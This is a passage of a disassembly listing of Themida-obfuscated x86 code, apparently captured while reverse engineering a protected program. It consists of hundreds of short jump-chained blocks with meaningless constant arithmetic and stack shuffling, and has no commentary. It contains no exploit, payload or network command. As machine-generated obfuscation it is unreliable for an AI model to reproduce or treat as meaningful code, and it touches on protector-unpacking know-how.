sub ebx, edi
sub ebx, 6CC56BA6h
pop edi
push ebx
mov ebx, 7D7911ECh
add edx, ebx
jmp loc_552398
; ---------------------------------------------------------------------------
loc_553E81: ; CODE XREF: Themida_:005575B1j
mov edi, edx
jmp loc_552549
; ---------------------------------------------------------------------------
loc_553E88: ; CODE XREF: Themida_:00551549j
push esi
push 1F1E0877h
pop esi
push ebx
mov ebx, 48716278h
push edx
jmp loc_5566D4
; ---------------------------------------------------------------------------
loc_553E9B: ; CODE XREF: Themida_:0055EC10j
xor edi, 73FB6AB9h
push edi
mov edi, 4F9F7171h
sub edi, 26835413h
sub eax, edi
pop edi
add eax, 7D837BD7h
add eax, edi
sub eax, 7D837BD7h
add eax, 291C1D5Eh
pop edi
push esi
mov esi, 2
add eax, esi
pop esi
jmp loc_560A07
; ---------------------------------------------------------------------------
loc_553ED0: ; CODE XREF: Themida_:0056223Bj
pop esi
add esi, 344D76B3h
mov ecx, esi
jmp loc_562EC2
; ---------------------------------------------------------------------------
loc_553EDE: ; CODE XREF: Themida_:00551324j
mov [esp], ecx
mov ecx, 59FA113Dh
and ecx, 7703440Fh
sub ecx, 3316370h
sub ecx, 0FFFFFFFFh
add ecx, 1BD26A8Bh
mov ebp, ecx
pop ecx
push esi
mov esi, 6BBA5C31h
xor ebp, esi
pop esi
inc ebp
sub ebp, 0FAE45326h
push esi
mov esi, ebp
mov ebx, esi
pop esi
pop ebp
push esi
mov esi, 772951B8h
and esi, 3B807F23h
jmp loc_553571
; ---------------------------------------------------------------------------
loc_553F29: ; CODE XREF: Themida_:00554A60j
dec ecx
not ecx
xor ecx, 40B12218h
push 6057h
mov [esp], ecx
jmp loc_55F98C
; ---------------------------------------------------------------------------
loc_553F3F: ; CODE XREF: Themida_:0055B5ADj
push 28E56396h
pop eax
add eax, 0FFFFFFFFh
push edx
mov edx, 2FF7C144h
jmp loc_55C889
; ---------------------------------------------------------------------------
loc_553F53: ; CODE XREF: Themida_:00564EF4j
add ebp, edi
sub ebp, 653B6BF1h
jmp loc_550FC7
; ---------------------------------------------------------------------------
loc_553F60: ; CODE XREF: Themida_:00559800j
neg ebx
not ebx
push edi
push ebp
mov ebp, 28E161D9h
mov edi, 6FF628E6h
xor edi, ebp
pop ebp
and edi, 1AC14466h
and edi, 0FF5211h
shl edi, 3
push edi
jmp loc_55DD29
; ---------------------------------------------------------------------------
loc_553F88: ; CODE XREF: Themida_:00553227j
pop ecx
xor esi, [esp]
jmp loc_55B019
; ---------------------------------------------------------------------------
loc_553F91: ; CODE XREF: Themida_:0055D691j
mov ebx, [esp]
add esp, 4
shl edx, 3
jmp loc_5523B0
; ---------------------------------------------------------------------------
loc_553F9F: ; CODE XREF: Themida_:00551F83j
push dword ptr [eax]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_553FA6: ; CODE XREF: Themida_:00564617j
mov ebp, ecx
jmp loc_561A4C
; ---------------------------------------------------------------------------
loc_553FAD: ; CODE XREF: Themida_:0055ABF2j
mov eax, [esp]
add esp, 4
xor ebp, 14DA0C2Dh
shr ebp, 7
jmp loc_552159
; ---------------------------------------------------------------------------
loc_553FC4: ; CODE XREF: Themida_:00550901j
sub edx, 73D03DF9h
shr edx, 7
jmp loc_56469C
; ---------------------------------------------------------------------------
loc_553FD2: ; CODE XREF: Themida_:0055E2C8j
mov [esp], edx
push esp
pop edx
push ebx
mov ebx, 62F67A2h
jmp loc_551360
; ---------------------------------------------------------------------------
loc_553FE2: ; CODE XREF: Themida_:005570EAj
mov [esp], ebx
push 6454h
mov [esp], edi
mov edi, 77070156h
jmp loc_5640C3
; ---------------------------------------------------------------------------
loc_553FF7: ; CODE XREF: Themida_:00563FF8j
sub eax, 45D23EF3h
mov esi, [esp]
push esi
mov esi, esp
jmp loc_55F840
; ---------------------------------------------------------------------------
loc_554007: ; CODE XREF: Themida_:0055424Fj
neg edx
shl edx, 4
add edx, 6F90093Fh
sub edx, 5FB32B52h
mov esi, edx
jmp loc_555A80
; ---------------------------------------------------------------------------
loc_55401F: ; CODE XREF: Themida_:00561731j
push 4E89h
mov [esp], edi
mov edi, 425C5656h
and edi, 50344784h
push ebp
mov ebp, 506207A0h
add edi, ebp
jmp loc_55F725
; ---------------------------------------------------------------------------
loc_55403F: ; CODE XREF: Themida_:00556FBCj
push esi
mov esi, 63D232E2h
add esi, 9C2DCD22h
add ebp, esi
pop esi
add ebp, 4
push edi
push esp
pop edi
jmp loc_559C7E
; ---------------------------------------------------------------------------
loc_55405C: ; CODE XREF: Themida_:0055068Ej
xor edx, 1F43512Bh
xor edx, 1D6D460Eh
add edx, 0E2C0863Ch
mov edi, edx
jmp loc_55459D
; ---------------------------------------------------------------------------
loc_554075: ; CODE XREF: Themida_:0055BB81j
pop edx
push ecx
mov ch, al
mov dl, ch
pop ecx
mov eax, [esp]
jmp loc_55AE65
; ---------------------------------------------------------------------------
loc_554084: ; CODE XREF: Themida_:005630E3j
mov esi, ebp
pop ebp
jmp loc_556DAC
; ---------------------------------------------------------------------------
loc_55408C: ; CODE XREF: Themida_:0055AC2Fj
pop edx
push esi
mov esi, 78223D00h
jmp loc_550B00
; ---------------------------------------------------------------------------
loc_554098: ; CODE XREF: Themida_:00564E61j
pop esi
add edx, 4
jmp loc_55BA36
; ---------------------------------------------------------------------------
loc_5540A1: ; CODE XREF: Themida_:00557EEEj
or [esp], eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5540AA: ; CODE XREF: Themida_:00552FE0j
pop edi
sub [esp], edi
sub dword ptr [esp], 659963FDh
mov edi, [esp]
push ecx
jmp loc_556258
; ---------------------------------------------------------------------------
loc_5540BE: ; CODE XREF: Themida_:00552578j
mov [esp], esp
add dword ptr [esp], 4
pop ecx
jmp loc_556F0C
; ---------------------------------------------------------------------------
loc_5540CE: ; CODE XREF: Themida_:0055FBBCj
xor ebp, 6BEB75E8h
shr ebp, 1
sub ebp, 35FDB25Fh
mov edi, ebp
jmp loc_55BCDD
; ---------------------------------------------------------------------------
loc_5540E3: ; CODE XREF: Themida_:00554D7Fj
mov edx, esp
add edx, 4
jmp loc_55D5E5
; ---------------------------------------------------------------------------
loc_5540F0: ; CODE XREF: Themida_:00560CB6j
mov ebp, [esp]
add esp, 4
sub eax, ebx
pop ebx
push 2A1Eh
mov [esp], edx
push 63BE6642h
pop edx
push 70A0h
jmp loc_55765F
; ---------------------------------------------------------------------------
loc_554111: ; CODE XREF: Themida_:0055CB70j
shl esi, 2
jmp loc_563FE2
; ---------------------------------------------------------------------------
loc_554119: ; CODE XREF: Themida_:0055781Fj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
or eax, 5D9E78E9h
push esi
mov esi, 7FBE7DFDh
jmp loc_55B613
; ---------------------------------------------------------------------------
loc_554138: ; CODE XREF: Themida_:00556C66j
push ebp
mov ebp, esp
push edx
jmp loc_5525BA
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_557AAB
; ---------------------------------------------------------------------------
loc_55414C: ; CODE XREF: Themida_:005551D4j
pop edx
shr ecx, 0Bh
jmp loc_5646B1
; ---------------------------------------------------------------------------
loc_554155: ; CODE XREF: Themida_:0056402Dj
push 489441F8h
pop edi
jmp loc_565A5F
; ---------------------------------------------------------------------------
loc_554160: ; CODE XREF: Themida_:005520E1j
or ecx, 65190EF6h
push edx
mov edx, 26532F35h
sub esp, 4
mov [esp], eax
mov eax, 748001B3h
shr eax, 7
jmp loc_563F30
; ---------------------------------------------------------------------------
loc_55417F: ; CODE XREF: Themida_:0055F8C2j
push 53Eh
mov [esp], ebx
jmp loc_55C485
; ---------------------------------------------------------------------------
loc_55418C: ; CODE XREF: Themida_:0055C272j
add ebp, 0C8865E29h
add esi, ebp
jmp loc_5658D6
; ---------------------------------------------------------------------------
loc_554199: ; CODE XREF: Themida_:0055D833j
add bl, 11h
pop eax
add bl, 8
movzx eax, al
jmp loc_555D16
; ---------------------------------------------------------------------------
loc_5541A8: ; CODE XREF: Themida_:0055F6AAj
pop ebp
or ebp, 783001DCh
push esi
mov esi, 3F2E63D2h
sub ebp, 78A704D3h
add ebp, esi
add ebp, 78A704D3h
pop esi
shl ebp, 5
jmp loc_55F90B
; ---------------------------------------------------------------------------
loc_5541CC: ; CODE XREF: Themida_:0055215Fj
add ecx, 1AE023D4h
sub ecx, ebp
push esi
mov esi, 44E80375h
or esi, 4D712B04h
and esi, 4926BAFh
xor esi, 1E7008F1h
jmp loc_5634A6
; ---------------------------------------------------------------------------
loc_5541F1: ; CODE XREF: Themida_:00557346j
add al, dl
jmp loc_55DB80
; ---------------------------------------------------------------------------
loc_5541F8: ; CODE XREF: Themida_:005509A0j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5541FD: ; CODE XREF: Themida_:00563256j
mov eax, esp
push ebp
push edi
mov edi, 17023CAAh
add edi, 5A9533EEh
push eax
push edi
pop eax
mov ebp, eax
pop eax
pop edi
neg ebp
not ebp
or ebp, 7AA97441h
dec ebp
neg ebp
add ebp, 7BBF74DAh
add eax, ebp
pop ebp
push 5242h
mov [esp], ebp
mov ebp, 3E351278h
jmp loc_556438
; ---------------------------------------------------------------------------
loc_55423B: ; CODE XREF: Themida_:0055EBBBj
add ebx, 34977A1Ch
mov eax, [esp]
add esp, 4
jmp loc_5567CB
; ---------------------------------------------------------------------------
loc_55424C: ; CODE XREF: Themida_:00558D80j
shr edx, 6
jmp loc_554007
; ---------------------------------------------------------------------------
loc_554254: ; CODE XREF: Themida_:00565ADFj
push edi
push esp
pop edi
push eax
jmp loc_55729A
; ---------------------------------------------------------------------------
loc_55425D: ; CODE XREF: Themida_:005602B3j
add esp, 4
push edi
mov edi, 3C3063C8h
add edi, 62173E2Ch
add edi, 61B85E10h
add ebx, edi
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, 4E567305h
add edi, 267C18CCh
jmp loc_5523F4
; ---------------------------------------------------------------------------
loc_554293: ; CODE XREF: Themida_:0056018Dj
mov eax, 8C541A1h
not eax
and eax, 7950188Ch
xor eax, 1A141B77h
mov edx, eax
pop eax
mov eax, 94FBFC89h
add eax, edx
pop edx
jmp loc_5614CD
; ---------------------------------------------------------------------------
loc_5542B4: ; CODE XREF: Themida_:0055B01Fj
pop esp
push eax
push dword ptr [esp+4]
jmp loc_55A674
; ---------------------------------------------------------------------------
loc_5542BF: ; CODE XREF: Themida_:0055A612j
push edi
push edx
mov edx, 12737641h
mov edi, edx
pop edx
mov ebp, 12737643h
add ebp, 7CD1410Eh
sub ebp, edi
jmp loc_55DFDD
; ---------------------------------------------------------------------------
loc_5542DB: ; CODE XREF: Themida_:00551969j
add ecx, ebx
pop ebx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
xor esi, 49BB6CC0h
jmp loc_564D80
; ---------------------------------------------------------------------------
loc_5542F3: ; CODE XREF: Themida_:005512C2j
push ebx
mov ebx, 4BBF5F87h
add ebx, 6CE5042Ah
xor ebx, 20EB033Bh
neg ebx
add ebx, 4DC66D36h
xor ebx, 0AE862CABh
xor ebx, 60FD5CD4h
xor edx, ebx
pop ebx
and eax, edx
push dword ptr [esp]
pop edx
jmp loc_556D5D
; ---------------------------------------------------------------------------
loc_554327: ; CODE XREF: Themida_:0055A5F1j
mov edx, [esp]
add esp, 4
jmp loc_555816
; ---------------------------------------------------------------------------
loc_554332: ; CODE XREF: Themida_:0055699Ej
push edx
mov edx, 4
jmp loc_55E15F
; ---------------------------------------------------------------------------
loc_55433D: ; CODE XREF: Themida_:00557D8Aj
sub edi, ebx
jmp loc_55F903
; ---------------------------------------------------------------------------
loc_554344: ; CODE XREF: Themida_:0055696Aj
mov edx, esp
add edx, 4
jmp loc_5602B8
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
push esp
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, 727E1649h
inc ebx
inc ebx
dec ebx
or ebx, 603736E5h
inc ebx
jmp loc_55BBE5
; ---------------------------------------------------------------------------
loc_554372: ; CODE XREF: Themida_:0055EA58j
add edi, ecx
pop ecx
add edi, edx
push 6B1h
mov [esp], eax
jmp loc_55105C
; ---------------------------------------------------------------------------
loc_554384: ; CODE XREF: Themida_:0055787Ej
pop ecx
add eax, 48642991h
mov ebp, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], eax
pop dword ptr [edi+40h]
mov eax, [esp]
push 4B09h
mov [esp], edi
mov edi, esp
sub esp, 4
mov [esp], ebp
mov ebp, 790D5D30h
sub ebp, 64663Eh
shl ebp, 1
push edi
mov edi, esp
add edi, 4
jmp loc_5526A9
; ---------------------------------------------------------------------------
loc_5543D6: ; CODE XREF: Themida_:005524CBj
sub ecx, 3DE02F90h
and ecx, 4A035385h
sub ecx, 0A001000h
add eax, ecx
jmp loc_55309F
; ---------------------------------------------------------------------------
loc_5543EF: ; CODE XREF: Themida_:00559E5Aj
neg ebp
add ebp, 0CC316CD8h
jmp loc_564595
; ---------------------------------------------------------------------------
loc_5543FC: ; CODE XREF: Themida_:00555CC3j
pop esi
push eax
mov eax, 6F1C34EBh
or eax, 1D03A2Eh
jmp loc_55F16D
; ---------------------------------------------------------------------------
loc_55440D: ; CODE XREF: Themida_:00557E7Aj
mov edx, esp
add edx, 4
push 3E0Fh
jmp loc_55974F
; ---------------------------------------------------------------------------
loc_55441F: ; CODE XREF: Themida_:00565407j
neg dl
or dl, 0FBh
neg dl
push ebx
mov bl, 5
not bl
sub bl, 2Eh
shl bl, 4
and bl, 1
add bl, 0A5h
xor dl, bl
pop ebx
sub al, 0EDh
jmp loc_562B18
; ---------------------------------------------------------------------------
loc_554441: ; CODE XREF: Themida_:0055CABBj
push ebp
push eax
mov eax, 4
mov ebp, eax
pop eax
jmp loc_56357A
; ---------------------------------------------------------------------------
loc_554450: ; CODE XREF: Themida_:00554C35j
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
or edx, eax
shl edx, 1
push ebx
push 57A2h
mov [esp], edx
push 764C3756h
pop edx
not edx
neg edx
push edi
mov edi, 16F90192h
push ebp
mov ebp, 2C8D0343h
not ebp
shr ebp, 3
inc ebp
jmp loc_5583C2
; ---------------------------------------------------------------------------
loc_55448C: ; CODE XREF: Themida_:0055F906j
pop edi
loc_55448D: ; CODE XREF: Themida_:00557EB3j
; Themida_:0055F634j
push dword ptr [edi+24h]
push dword ptr [esp]
jmp loc_558460
; ---------------------------------------------------------------------------
loc_554498: ; CODE XREF: Themida_:00550DF8j
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov dh, 0E1h
not dh
jmp loc_55CD21
; ---------------------------------------------------------------------------
loc_5544B0: ; CODE XREF: Themida_:0055516Ej
add edi, 6ED99FCAh
jmp loc_55E598
; ---------------------------------------------------------------------------
loc_5544BB: ; CODE XREF: Themida_:005604C4j
sub ecx, 211C1333h
and edx, ecx
pop ecx
xor edx, 63AA0F1Dh
sub edx, 74C26FA2h
not edx
sub edx, 0DE18D173h
sub ebx, edx
mov edx, [esp]
add esp, 4
and ebx, 76BB6D22h
jmp loc_556CD4
; ---------------------------------------------------------------------------
loc_5544EE: ; CODE XREF: Themida_:0055ABDCj
add ecx, 744C419Ch
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_562022
; ---------------------------------------------------------------------------
loc_554503: ; CODE XREF: Themida_:005579FCj
pop ebx
add ebx, ebp
pop ebp
xor ecx, ebx
pop ebx
and eax, ecx
mov ecx, [esp]
jmp loc_5651EC
; ---------------------------------------------------------------------------
loc_554514: ; CODE XREF: Themida_:00550FDAj
shl word ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55451E: ; CODE XREF: Themida_:005651D0j
mov dl, 98h
inc dl
dec dl
jmp loc_5514FE
; ---------------------------------------------------------------------------
loc_554529: ; CODE XREF: Themida_:0055937Dj
pop esi
sub esp, 4
mov [esp], edx
mov edx, 19A63BBBh
push esi
mov esi, esp
add esi, 4
jmp loc_5659BD
; ---------------------------------------------------------------------------
loc_554546: ; CODE XREF: Themida_:00554B30j
sub ecx, 4DC67283h
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_557B57
; ---------------------------------------------------------------------------
loc_554560: ; CODE XREF: Themida_:0055FA85j
mov esi, [esp]
add esp, 4
and [edi+1Ch], ecx
push dword ptr [esp]
jmp loc_550EED
; ---------------------------------------------------------------------------
loc_554571: ; CODE XREF: Themida_:005634D3j
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_551802
; ---------------------------------------------------------------------------
loc_554588: ; CODE XREF: Themida_:00555A1Cj
xor ah, 7
and bl, ah
mov eax, [esp]
add esp, 4
inc bl
jmp loc_564E11
; ---------------------------------------------------------------------------
loc_55459D: ; CODE XREF: Themida_:00554070j
pop edx
sub ebx, 5B4A3BF8h
sub ebx, edi
push eax
jmp loc_563CB0
; ---------------------------------------------------------------------------
loc_5545AC: ; CODE XREF: Themida_:005562AEj
add edx, ecx
jmp loc_5643F6
; ---------------------------------------------------------------------------
loc_5545B3: ; CODE XREF: Themida_:00551A45j
sub edi, 49041149h
add edi, esi
add edi, 49041149h
push ebp
mov ebp, 5BB202EEh
sub edi, ebp
pop ebp
jmp loc_56563D
; ---------------------------------------------------------------------------
loc_5545CF: ; CODE XREF: Themida_:00560090j
mov al, 80h
dec al
not al
not al
inc al
jmp loc_55D627
; ---------------------------------------------------------------------------
loc_5545DE: ; CODE XREF: Themida_:00564CEBj
or cl, al
mov eax, [esp]
add esp, 4
neg cl
jmp loc_55AE97
; ---------------------------------------------------------------------------
loc_5545F0: ; CODE XREF: Themida_:005655EEj
mov edi, 79B4189Ah
sub edx, 0D6E7E77h
add edx, 689161B7h
add edx, edi
sub edx, 689161B7h
add edx, 0D6E7E77h
mov edi, [esp]
jmp loc_56332F
; ---------------------------------------------------------------------------
loc_554617: ; CODE XREF: Themida_:00562759j
push 7E29h
mov [esp], ecx
mov ecx, 38466BC9h
sub ecx, 298D049Dh
push ebp
mov ebp, 0F6235E1h
xor ecx, ebp
pop ebp
shr ecx, 4
push ebp
mov ebp, 0FFE24AD8h
add ecx, ebp
mov ebp, [esp]
jmp loc_55D9E0
; ---------------------------------------------------------------------------
loc_554646: ; CODE XREF: Themida_:00559DABj
xchg edx, [esp]
mov esp, [esp]
rol word ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_554656: ; CODE XREF: Themida_:00561F7Bj
mov ecx, esp
add ecx, 4
push edx
mov edx, 4
add ecx, edx
pop edx
xchg ecx, [esp]
pop esp
add esp, 4
or ebx, ebx
jnz loc_560D6A
push eax
push ebp
jmp loc_55FDB1
; ---------------------------------------------------------------------------
loc_55467D: ; CODE XREF: Themida_:0055921Cj
xor ebx, 474B2DC5h
push 2474h
jmp loc_55C99C
; ---------------------------------------------------------------------------
loc_55468D: ; CODE XREF: Themida_:0055A8EEj
mov ebx, 44CD4FEFh
xor edx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
loc_55469E: ; CODE XREF: Themida_:loc_553BE7j
; Themida_:005610FBj
push 3DC7h
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
jmp loc_558097
; ---------------------------------------------------------------------------
loc_5546B1: ; CODE XREF: Themida_:00550F4Bj
mov dh, 12h
jmp loc_551CBA
; ---------------------------------------------------------------------------
loc_5546B8: ; CODE XREF: Themida_:0055F485j
mov ebp, 217D1634h
mov ecx, 364B3E7Bh
xor ecx, ebp
pop ebp
add ecx, 2EDE08BBh
sub ecx, ebx
jmp loc_55766E
; ---------------------------------------------------------------------------
loc_5546D2: ; CODE XREF: Themida_:00564759j
sub ecx, 0C926367h
shr ecx, 5
sub ecx, 79B6DE0h
add esi, ecx
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5652A5
; ---------------------------------------------------------------------------
loc_5546F4: ; CODE XREF: Themida_:00552CBAj
push ebx
jmp loc_559FFF
; ---------------------------------------------------------------------------
loc_5546FA: ; CODE XREF: Themida_:00558055j
add edx, 10C0080Ah
add edx, ebp
push ecx
mov ecx, 30ED3E31h
shl ecx, 2
inc ecx
sub ecx, 0B2F4F0BBh
add edx, 18A541A7h
sub edx, ecx
sub edx, 18A541A7h
pop ecx
jmp loc_55527B
; ---------------------------------------------------------------------------
loc_554726: ; CODE XREF: Themida_:0055C203j
push ebp
mov ebp, 2A457C7h
not ebp
jmp loc_5622A5
; ---------------------------------------------------------------------------
loc_554733: ; CODE XREF: Themida_:0055BFD0j
mov ax, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_55D4F9
; ---------------------------------------------------------------------------
loc_554745: ; CODE XREF: Themida_:0055976Cj
add esp, 4
jmp loc_55ABEA
; ---------------------------------------------------------------------------
loc_554750: ; CODE XREF: Themida_:00550B84j
mov [esp], bx
jmp loc_558960
; ---------------------------------------------------------------------------
loc_554759: ; CODE XREF: Themida_:00563C6Bj
sub esi, 0EB71B9B8h
push esi
mov edx, [esp]
add esp, 4
jmp loc_55292B
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebx
push eax
push 4F457FC3h
pop eax
jmp loc_55C139
; ---------------------------------------------------------------------------
loc_55477D: ; CODE XREF: Themida_:0056380Ej
push 2C55h
mov [esp], eax
mov eax, 66801355h
jmp loc_55D261
; ---------------------------------------------------------------------------
loc_55478F: ; CODE XREF: Themida_:00557872j
push 52B8h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
jmp loc_55D290
; ---------------------------------------------------------------------------
loc_5547AA: ; CODE XREF: Themida_:0055D893j
add edx, 1F403C05h
pop esi
sub edx, 436C50F0h
add edx, 0F8F009F2h
and edi, edx
pop edx
xor edi, 76322F21h
xor eax, edi
pop edi
push ebx
jmp loc_5526DC
; ---------------------------------------------------------------------------
loc_5547CF: ; CODE XREF: Themida_:00561919j
mov ebx, 54263F9Fh
neg ebx
jmp loc_5566C4
; ---------------------------------------------------------------------------
loc_5547DB: ; CODE XREF: Themida_:00561913j
pop edi
sub esp, 4
mov [esp], esi
mov esi, 728E1C0Eh
jmp loc_55D7CB
; ---------------------------------------------------------------------------
loc_5547EF: ; CODE XREF: Themida_:0055FAEAj
pop esp
add [esp], eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5547F9: ; CODE XREF: Themida_:00557F59j
push esp
pop ebp
add ebp, 4
add ebp, 4
jmp loc_556147
; ---------------------------------------------------------------------------
loc_55480C: ; CODE XREF: Themida_:005647DDj
sub ebx, 613B6A3Ch
add ebx, esi
push eax
mov eax, 613B6A3Ch
add ebx, eax
pop eax
jmp loc_55FA3B
; ---------------------------------------------------------------------------
loc_554822: ; CODE XREF: Themida_:0056492Fj
not edi
shr edi, 6
add edi, 6CA0512Ch
sub edi, 0B42DCED5h
jmp loc_56462E
; ---------------------------------------------------------------------------
loc_554838: ; CODE XREF: Themida_:00561DC5j
add edi, 4
push eax
mov eax, 485103ADh
push ebp
mov ebp, 0
sub ebp, eax
jmp loc_557A27
; ---------------------------------------------------------------------------
loc_554851: ; CODE XREF: Themida_:0055C624j
add esp, 4
mov [edi+eax*4], bl
mov ebx, [esp]
add esp, 4
jmp loc_550420
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
push esp
pop edi
jmp loc_565579
; ---------------------------------------------------------------------------
loc_554874: ; CODE XREF: Themida_:0056053Aj
shl ebx, 3
and ebx, 16C3154Eh
inc ebx
dec ebx
add ebx, 2E222D6Ch
mov edx, ebx
jmp loc_5615EB
; ---------------------------------------------------------------------------
loc_55488C: ; CODE XREF: Themida_:005627E2j
add esp, 4
push 40E7h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 6F9007A1h
jmp loc_5618B5
; ---------------------------------------------------------------------------
loc_5548AD: ; CODE XREF: Themida_:0055314Cj
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5548B2: ; CODE XREF: Themida_:0055DDF7j
sub ecx, 4C051B27h
sub edx, 1F666305h
add edx, ecx
push eax
push ecx
push esi
mov esi, 9600F54h
jmp loc_565319
; ---------------------------------------------------------------------------
loc_5548CD: ; CODE XREF: Themida_:005532FBj
sub edi, 8780A691h
and esi, edi
pop edi
add esi, 0EFFFFF84h
add edx, esi
pop esi
sub esp, 4
mov [esp], eax
mov eax, 4
sub edx, eax
pop eax
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
mov ch, 4
jmp loc_550906
; ---------------------------------------------------------------------------
loc_554906: ; CODE XREF: Themida_:0055E85Aj
mov ebp, 774829AEh
jmp loc_555B08
; ---------------------------------------------------------------------------
mov cx, [esp]
push 1B6h
mov [esp], eax
jmp loc_5620B7
; ---------------------------------------------------------------------------
loc_554921: ; CODE XREF: Themida_:00551BB8j
mov esi, 4
jmp loc_562303
; ---------------------------------------------------------------------------
loc_55492B: ; CODE XREF: Themida_:005554DDj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_551348
; ---------------------------------------------------------------------------
loc_55493F: ; CODE XREF: Themida_:00563CE6j
add esp, 4
and eax, edi
mov edi, [esp]
add esp, 4
or edx, eax
shl edx, 1
jmp loc_55E95F
; ---------------------------------------------------------------------------
loc_554956: ; CODE XREF: Themida_:0056148Cj
add ebx, 4
jmp loc_559983
; ---------------------------------------------------------------------------
loc_554961: ; CODE XREF: Themida_:00554C08j
pop ecx
jmp loc_5510FC
; ---------------------------------------------------------------------------
loc_554967: ; CODE XREF: Themida_:00556721j
add ebp, eax
pop eax
push edx
mov edx, 383F451Bh
inc edx
dec edx
not edx
inc edx
shl edx, 8
add edx, 3F451B04h
jmp loc_556ACB
; ---------------------------------------------------------------------------
loc_554983: ; CODE XREF: Themida_:0055C1B6j
push edx
push 6CCE0584h
jmp loc_555C94
; ---------------------------------------------------------------------------
loc_55498E: ; CODE XREF: Themida_:00551633j
sub esp, 4
mov [esp], edi
jmp loc_555B4F
; ---------------------------------------------------------------------------
loc_554999: ; CODE XREF: Themida_:00559E7Fj
sub ecx, 0AB8DB022h
push eax
mov eax, ecx
jmp loc_5554E2
; ---------------------------------------------------------------------------
loc_5549A7: ; CODE XREF: Themida_:005512EAj
pop eax
and eax, 47ED7B93h
xor eax, 71E91B01h
shr eax, 7
xor eax, 221A0EEDh
xor eax, 2F267DC4h
xor ecx, eax
pop eax
jmp loc_55636D
; ---------------------------------------------------------------------------
loc_5549C7: ; CODE XREF: Themida_:0056276Bj
shr eax, 7
add eax, 23161CC4h
jmp loc_55C3ED
; ---------------------------------------------------------------------------
loc_5549D4: ; CODE XREF: Themida_:005567D7j
add eax, 65140267h
or eax, 38A11C90h
push ecx
mov ecx, 41345D7Bh
add eax, ecx
pop ecx
not eax
add eax, 297765FDh
add eax, 0CCA38A8h
or ebp, eax
pop eax
and ebp, 4A593900h
sub esp, 4
jmp loc_5585BD
; ---------------------------------------------------------------------------
loc_554A07: ; CODE XREF: Themida_:0056252Aj
mov [esp], ebx
mov ebx, 6C82563Fh
sub eax, 3C9129E2h
sub eax, ebx
add eax, 3C9129E2h
pop ebx
push edi
push 47A9h
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebp
jmp loc_5522C1
; ---------------------------------------------------------------------------
loc_554A33: ; CODE XREF: Themida_:0055CC64j
shl edi, 8
jmp loc_561905
; ---------------------------------------------------------------------------
loc_554A3B: ; CODE XREF: Themida_:005528DBj
push esp
jmp loc_55D781
; ---------------------------------------------------------------------------
loc_554A41: ; CODE XREF: Themida_:0055715Cj
pop esi
add ecx, ebx
sub ecx, 367C6F30h
push dword ptr [esp]
pop ebx
add esp, 4
shl ecx, 4
add ecx, 0FFFFFFFFh
and ecx, 48B927D9h
jmp loc_553F29
; ---------------------------------------------------------------------------
loc_554A65: ; CODE XREF: Themida_:00562A6Bj
pop eax
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, 7AAA283Ch
xor eax, ebp
pop ebp
sub esp, 4
mov [esp], ecx
push 27364E7Eh
pop ecx
push ebx
mov ebx, esp
jmp loc_562FCC
; ---------------------------------------------------------------------------
loc_554A8E: ; CODE XREF: Themida_:0055F405j
pop edx
sub ebx, 77B94138h
jmp loc_562A92
; ---------------------------------------------------------------------------
loc_554A9A: ; CODE XREF: Themida_:0055E6BAj
pop edx
add edi, eax
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 46290D2Fh
or edx, 10190DD6h
jmp loc_55696F
; ---------------------------------------------------------------------------
loc_554AB9: ; CODE XREF: Themida_:0055648Aj
sub bl, cl
sub bl, 38h
pop ecx
jmp loc_55786E
; ---------------------------------------------------------------------------
loc_554AC4: ; CODE XREF: Themida_:00557EA8j
push ebp
mov ebp, 9307C03h
add eax, ebp
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, 21E8129Eh
sub eax, ebx
pop ebx
add eax, 44A0347Ch
sub eax, ebx
jmp loc_55AB90
; ---------------------------------------------------------------------------
loc_554AE7: ; CODE XREF: Themida_:0055A8B3j
sub esi, ebx
pop ebx
xor esi, 0BDC197CAh
jmp loc_561F5D
; ---------------------------------------------------------------------------
loc_554AF5: ; CODE XREF: Themida_:0055EE71j
mov eax, 515A23A5h
and edi, eax
pop eax
xor edi, 410A0023h
add ecx, edi
pop edi
xchg ecx, [esp]
mov esp, [esp]
or [esp], al
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_554B15: ; CODE XREF: Themida_:00556249j
add ebx, edx
pop edx
inc ebx
inc ebx
push ebp
mov ebp, 6E80F4CDh
xor ebx, ebp
jmp loc_55A8B2
